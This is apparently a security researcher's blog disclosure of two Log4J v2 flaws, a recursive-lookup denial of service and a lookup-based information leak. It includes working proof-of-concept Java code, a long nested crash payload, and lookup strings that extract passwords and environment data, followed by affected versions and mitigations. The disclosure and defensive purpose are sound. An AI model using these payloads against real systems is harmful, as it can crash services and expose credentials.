Additional Vulnerabilities in Log4J

Tags:

Table of Contents

Table of ContentsIntroductionAbout Log4J, Log4Shell and Related CVEsString Interpolation, Java EE and How They IntersectTechnical Details – Vulnerability #1 – Denial of ServiceExploit exampleTechnical Details – Vulnerability #2 – Information DisclosureExploit exampleVendor Response / Disclosure DetailsReferencesAcknowledgementsTimeline

Introduction

The original four Log4shell vulnerabilities in Log4J v2 that were discovered and patched in December of 2021 included two additional vulnerabilities that were not publicly known at the time: a denial of service and an information disclosure. The root cause of these issues is other string lookups in the Log4J library. These were publicly disclosed by the vendor in September 2022 via documentation updates and are considered by the vendor part of these original four issues, so no code changes are planned and no new CVEs were issued.

Previously recommended mitigations that were widely used (such as removing the JNDiLookup class) are insufficient to fix these issues and users running these mitigations should update as soon as possible to patched version. Systems that provide access to the Log4J configuration files remain vulnerable.

About Log4J, Log4Shell and Related CVEs

Logging is a fundamental requirement in software development. While Java provided a logging API since Java 1.4 (2002), Log4J existed since 1999 and offers a lot more features. It is also more popular than other frameworks leading to Log4J being used in a lot of Java applications. In December 2021, a number of serious security vulnerabilities were disclosed and patched in Log4J, with the most critical one allowing a remote attacker achieve remote code execution.

These included:

CVE-2021-44228 (CVSS 10.0) aka “Log4Shell” – ”allows Lookup expressions in the data being logged exposing the JNDI vulnerability”

CVE-2021-45046 (CVSS 10.0) – “When the logging configuration uses a non-default Pattern Layout with a Context Lookup (for example, $${ctx:loginId}), attackers with control over Thread Context Map (MDC) input data can craft malicious input data using a JNDI Lookup pattern”

CVE-2021-44832 (CVSS 6.6) – “an attacker with permission to modify the logging configuration file can construct a malicious configuration using a JDBC Appender with a data source referencing a JNDI URI”

CVE-2021-45105 (CVSS 5.9) – “did not protect from uncontrolled recursion from self-referential lookups. When the logging configuration uses a non-default Pattern Layout with a Context Lookup (for example, $${ctx:loginId}), attackers with control over Thread Context Map (MDC) input data can craft malicious input data that contains a recursive lookup, resulting in a StackOverflowError that will terminate the process.“ 

The timeline of the disclosure for these issues is as follows (from CSRB public report, page 3):

The core cause for these four issues are from string lookups which enabled attackers to inject unvalidated data into an application and exploit lookups, similar to SQL injection. The most severe of these exploits enables attackers to load code from a remote server via JNDI and execute it (RCE) – aka Log4Shell.

An example payload for Log4shell via the JNDI lookup type:

Here is an illustration of a Log4J attack pattern (from the HHS report, page 19):

The patches were released according to the following timeline:

DateVersion ReleasedCVEs FixedNotes2021-12-102.15.0*CVE-2021-44228Fix for main Log4Shell issue, disables lookups but allows them to be-re-enabled via a property2021-12-132.16.0*CVE-2021-45046Fix for context lookups issue; disables lookups for logged data2021-12-182.17.0CVE-2021-45105Fix for denial of service issue; disables most recursive lookups2021-12-282.17.1CVE-2021-44832Fix for configuration file issue; limits JNDI context URL to “java”

Shortly after these releases, Amazon’s Corretto Team released a hotpatch containing fixes for these two issues that could be applied to a running JVM as an agent (see blog post and GitHub repository). Other issues were not covered by the hotpatch.

As of December 2021, the following mitigations were recommended by the vendor (Apache) if users were unable to upgrade (see archived security page from Jan 2022):

Log4Shell issues (CVE-2021-44228 and CVE-2021-45046) – “remove the JndiLookup class from the classpath”Otherwise, in any release other than 2.16.0, you may remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

See also the hotpatch option above

For context lookup related issues (CVE-2021-45046 and CVE-2021-45105):

“In PatternLayout in the logging configuration, replace Context Lookups like ${ctx:loginId} or $${ctx:loginId} with Thread Context Map patterns (%X, %mdc, or %MDC).”

“Otherwise, in the configuration, remove references to Context Lookups like ${ctx:loginId} or $${ctx:loginId} where they originate from sources external to the application such as HTTP headers or user input.”

String Interpolation, Java EE and How They Intersect

One of the features found in Log4J and other Java libraries is property substitutions (aka lookups or message interpolation). They enable placeholders like ${xxx:yyy} to be replaced with other values, similar to shell and programming languages. In Log4J, lookups are used to make configuration easier and are meant to be used in configuration files, not in data being logged. They were added to Log4J in v2.0 (October 2010). At some point, lookups were changed to allow interpolation against in incoming data being logged (most likely in October 2011). Over time additional lookup classes were added – and JNDI lookups were added in July 2013. The JNDI code connects to the Java EE legacy code from 1990s.

Unfortunately, if not used properly, this functionality can lead to security issues. The root cause for these issues is that there were multiple systems that should not have been connected:

String lookups in config files.

Processing of incoming log messages with untrusted data.

Legacy 1990s Java EE/JNDI code.

The following is the code from the MessagePatternConverter class which processes incoming log messages. As you can see, it looks for “$” and passes the call to the StrSubstitutor class:

for (int i = offset; i < workingBuilder.length() – 1; i++) {
if (workingBuilder.charAt(i) == ‘$’ && workingBuilder.charAt(i + 1) == ‘{‘) {
final String value = workingBuilder.substring(offset, workingBuilder.length());
workingBuilder.setLength(offset);
workingBuilder.append(config.getStrSubstitutor().replace(event, value));
}
}

The StrSubstitutor class is the main entry point into lookup functionality within Log4J. It relies on the StrLookup interface which is implemented by many classes, each providing different type of lookup (most are in the org.apache.logging.log4j.core.lookup package). These get loaded via a plugin architecture and create connections to other components (custom lookups are also supported). One of the lookups provides Java Naming and Directory Interface (JNDI) support – as implemented in the JNDILookup class.

The following is the StrLookup interface which provides a simple way to do lookups:

public interface StrLookup {
String CATEGORY = “Lookup”;
String lookup(LogEvent event, String key);
}

And this code in the JNDILookup class creates a bridge between lookups and the legacy JNDI (Java EE) code still lingering in Java:

public String lookup(final LogEvent event, final String key) {
if (key == null) {
return null;
}
final String jndiName = convertJndiName(key);
try (final JndiManager jndiManager = JndiManager.getDefaultManager()) {
return Objects.toString(jndiManager.lookup(jndiName), null);
} catch (final NamingException e) {

Technical Details – Vulnerability #1 – Denial of Service

Many of string lookup types in Log4J are recursive and can be nested inside other lookups (see code here). Each nested function call uses part of Java’s stack memory which is distinct from the main (heap) memory used for majority of processing. Stack memory is configured via the “-Xss” parameter and defaults to anywhere between 1 MB to 1 GB depending on OS and Java version. Exceeding this memory will result in a StackOverFlowError.

While recursive lookups are mentioned in CVE-2021-45105, that CVE was thought to be limited to non-standard configurations involving context lookups. However, it actually turns out that this issue can be exploited in default configurations similar to the way Log4Shell by sending a malicious payload to system that will try to log it. This was fixed when lookups were disabled, however, previous versions and any systems exposing the Log4J configuration remain vulnerable in default configurations. A recursive payload sent to an impacted application will be processed by Log4J recursively until the application runs out of stack memory.

You can check the size of the stack memory in Java via the following command:

> java -XX:+PrintFlagsFinal -version | grep ThreadStackSize
   intx ThreadStackSize                          = 1024

The attack is blind and does not require the attack to receive any kind of output from the system as follows:

The payload size required to crash the JVM depends on the stack memory configuration. The following payload sizes were tested on JDK 17:

Stack Memory Size (-Xss)Number of Nested Rounds to CrashPayload Size144 kb (minimum)1001 kb1,024 kb (default)3,00027 kb1 GB (maximum)18,000162 kb

Exploit example

Code to test the exploit:

import org.apache.logging.log4j.LogManager; 

public class Test {
   public static void main(String[] args) {
     int rounds = 100;
     String payload = “${lower:”.repeat(rounds) +
                      “${java:runtime}” +
                      “}”.repeat(rounds);
     System.out.println(“Payload size: ” + payload.length());
     LogManager.getRootLogger().error(payload);
    }
}

Example of malicious payload:

${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${java:runtime}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}} }}}}}}}}}}}}}}}}}}}}}}}}}}

In a normal version, the inner lookup ( ${java:runtime} ) will return the build information about the JVM while the outer lookups ( ${lower:xxx} ) will convert the information to lower case as follows:

Payload size: 915
22:25:59.991 [main] ERROR  – openjdk runtime environment (build 17.0.7+7-lts)

However, in a Java configuration with not enough memory and vulnerable Log4J version, it will crash as follows:

Payload size: 915
Exception in thread “main” java.lang.StackOverflowError at java.base/java.lang.AbstractStringBuilder.checkRangeSIOOBE(AbstractStringBuilder.java:1809) at java.base/java.lang.AbstractStringBuilder.getChars(AbstractStringBuilder.java:508) at java.base/java.lang.StringBuilder.getChars(StringBuilder.java:91) at org.apache.logging.log4j.core.lookup.StrSubstitutor.getChars(StrSubstitutor.java:1401) at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:939) at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912) at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:978) at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912) at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:978)

Technical Details – Vulnerability #2 – Information Disclosure

The JNDI lookup turned out to be dangerous – but it’s just one of the many lookup types available in Log4J. While fixes for Log4Shell disable lookup interpolation in log messages, in versions prior to 2.15 all lookups are available. Even today, in most recent versions lookups are still available in configuration files – even for latest versions of Log4J (since access to the configuration files is outside the threat model for the project). Additionally, lookups remain available if the JNDILookup class is removed (as per recommended mitigation back in 2021). This was a common mitigation to avoid upgrading Log4J library.

In these three scenarios (versions prior to 2.15, versions with JNDILookup class removed or any version with access to the configuration files), other lookup types remain available and can leak information about the underlying system.

The following lookup types are available in Log4J (see documentation):

PatternDescriptionPatternDescription${bundle:xxx:xxx}Resource bundles${log4j:xxx}Log4J configuration properties${ctx:xxx}Thread context map${lower:xxx}Converts to lower case${date:xxx}Date/time${main:xxx}Executable arguments / main()${docker:xxx}Docker attributes${map:xxx}Map lookup${env:xxx}Environment variables${marker:xxx}Markers${event:xxx}Log event object fields${spring:xxx}Spring properties${java:xx}Java runtime information${sd:xxx}Structured data${jndi:xxx}JNDI remote lookups{sys:xxx}System properties${jvmrunargs:xxx}JVM runtime args (JMX only)${upper:xxx}Converts to upper case${k8s:xxx}Kubernetes container information${web:xxx}Servlet context variables/attributes

Many of the available lookups return information such as environment variables, system properties, Spring properties, runtime information, secrets, etc. Lookups that return data such as runtime attributes can be used for initial information gathering by a third party. However, most of the lookups do not support wildcards – the name of the variable, property, etc. being retrieved must be known.

Furthermore,  access to the logs is required to read the information from these lookups so the attacker will not be able to execute this attack blindly. Scenarios with access would include error messages or cloud/SAAS applications where users have access to the result logs. Example of such scenario:

Exploit example

Payload examples:

PatternDescription${env:POSTGRES_PASSWORD}Postgres password stored in an environment variable${log4j:log4j2.trustStorePassword}Keystore password from Log4J properties${spring:spring.mail.password}SMTP password from Spring${docker:containerName}Container name in Docker${k8s:masterUrl}Kubernetes Master URL${java:runtime}Runtime information about the JVM

Code to test the exploit:

import org.apache.logging.log4j.LogManager;

public class Test2 {
   public static void main(String[] args) {
     String payload = “${java:runtime}”;
     LogManager.getRootLogger().error(payload);
   }
}

In a patched version, the lookup will not work since all lookups are disabled and the following output will be produced:

> javac -classpath log4j-api-2.20.0.jar:log4j-core-2.20.0.jar Test2.java> java -classpath log4j-api-2.20.0.jar:log4j-core-2.20.0.jar:. Test2
12:39:48.062 [main] ERROR  – ${java:runtime}

In a vulnerable version, Log4J will return information about the system via the lookup:

> javac -classpath log4j-api-2.14.1.jar:log4j-core-2.14.1.jar Test2.java> java -classpath log4j-api-2.14.1.jar:log4j-core-2.14.1.jar:. Test2
12:39:19.843 [main] ERROR  – OpenJDK Runtime Environment (build 17.0.8+7-LTS)

Vendor Response / Disclosure Details

This issue was publicly disclosed by Apache / Log4J project in September 2022 part of the Log4J v2.19 release. This was done via an update to the security page (see archived security page and Git update). Because the Log4J project considers these to be part of CVE-2021-45046 and CVE-2021-44228, as well as being fixed in previous releases, no new CVEs were issued and no code changes were made. At this of writing (June 2025), the CVE descriptions were not fully updated in NVD / CVE database but do appear on the Log4J security page. The previous mitigation information about removing the JNDILookup class has been removed from the Log4J security page.

NOTE: many vendors using Log4J in their products publicly advertised the removal of the JNDILookup class as a mitigation. For those vendors, if they have not upgraded – then they remain vulnerable to the two issues in this post. Additionally, products/services allowing access to the Log4J config files remain vulnerable even in the most recent versions.

Screenshots from the Git update:

Vulnerable Versions and Mitigations

The following versions of Log4J are impacted:

All versions of Log4J v2 prior to v2.15 except for v2.12.2-4 (Java 7) and v2.3.1-2 (Java 6).

In versions v2.15, v2.12.2 (Java 7) and v2.3.1 (Java 6), lookups in log messages are disabled by default but can be re-enabled. If lookups are re-enabled or context lookups are used (CVE-2021-45046), these versions are impacted.

Versions v2.16+, v2.12.3+ (Java 7) and v2.3.2 (Java 6) remain vulnerable if access is granted to the configuration files

Log4J v1 should not be impacted except when JMSAppender is used (see CVE-2021-4104)

Users should upgrade to a version that disables lookups entirely against log messages – v2.16+, v2.12.3 (Java 7) or v2.3.2 (Java 6).  Other tools such as WAF and IDS systems should be updated with signatures that look for patterns to detect these issues

For users unable to upgrade, prior mitigations recommended by the vendor will not protect against these issues. While it might be possible to backport existing patches to disable lookups, this it not recommended. Other public mitigations such as the Java hotpatch agent referenced above do not address these issue.

Access to Log4J configuration files should not be allowed – lookups are still available in configuration files and there might be other attack vectors. Note that as of February 2023, security reports assuming access to the Log4J configuration “no longer qualify as vulnerabilities”

References

Apache Log4J Github Repository (Mirror): https://github.com/apache/logging-log4j2

Apache Log4J Security Page: https://logging.apache.org/security.html

CSRB Review of the December 2021 Log4j Event” (published July 11th 2022): https://www.cisa.gov/resources-tools/resources/csrb-review-december-2021-log4j-event

HHS Report: Log4J Vulnerabilities and the Health Sector” (published January 20th, 2022): https://asprtracie.hhs.gov/technical-resources/resource/11132/log4j-vulnerabilities-and-the-health-sector

CVE-2021-44228 – “JNDI lookup can be exploited to execute arbitrary code loaded from an LDAP server”

CVE-2021-44832 – “Remote code execution (RCE) attack when a configuration uses a JDBC Appender with a JNDI LDAP data source”

CVE-2021-45046 – “Information leak and remote code execution in some environments and local code execution in all environments”

CVE-2021-45105 – “An attacker with control over Thread Context Map data can cause a denial of service when a crafted string is interpreted”

Acknowledgements

The author would like to thank everyone who was involved in the disclosure process for these issues – you know who you are. Thank you for LTS for putting up with this for so long.

Timeline

2021-12-09: Original Log4Shell disclosure and fix by the vendor (Apache)

2022-09-10: Public disclosure of these two vulnerabilities by the vendor (Apache)

2024-11-08: Public talk about these issues at BSides Delaware 2024

2025-06-25: Initial publication of this blog post

Categories

No Responses

Leave a Reply

Your email address will not be published. Required fields are marked *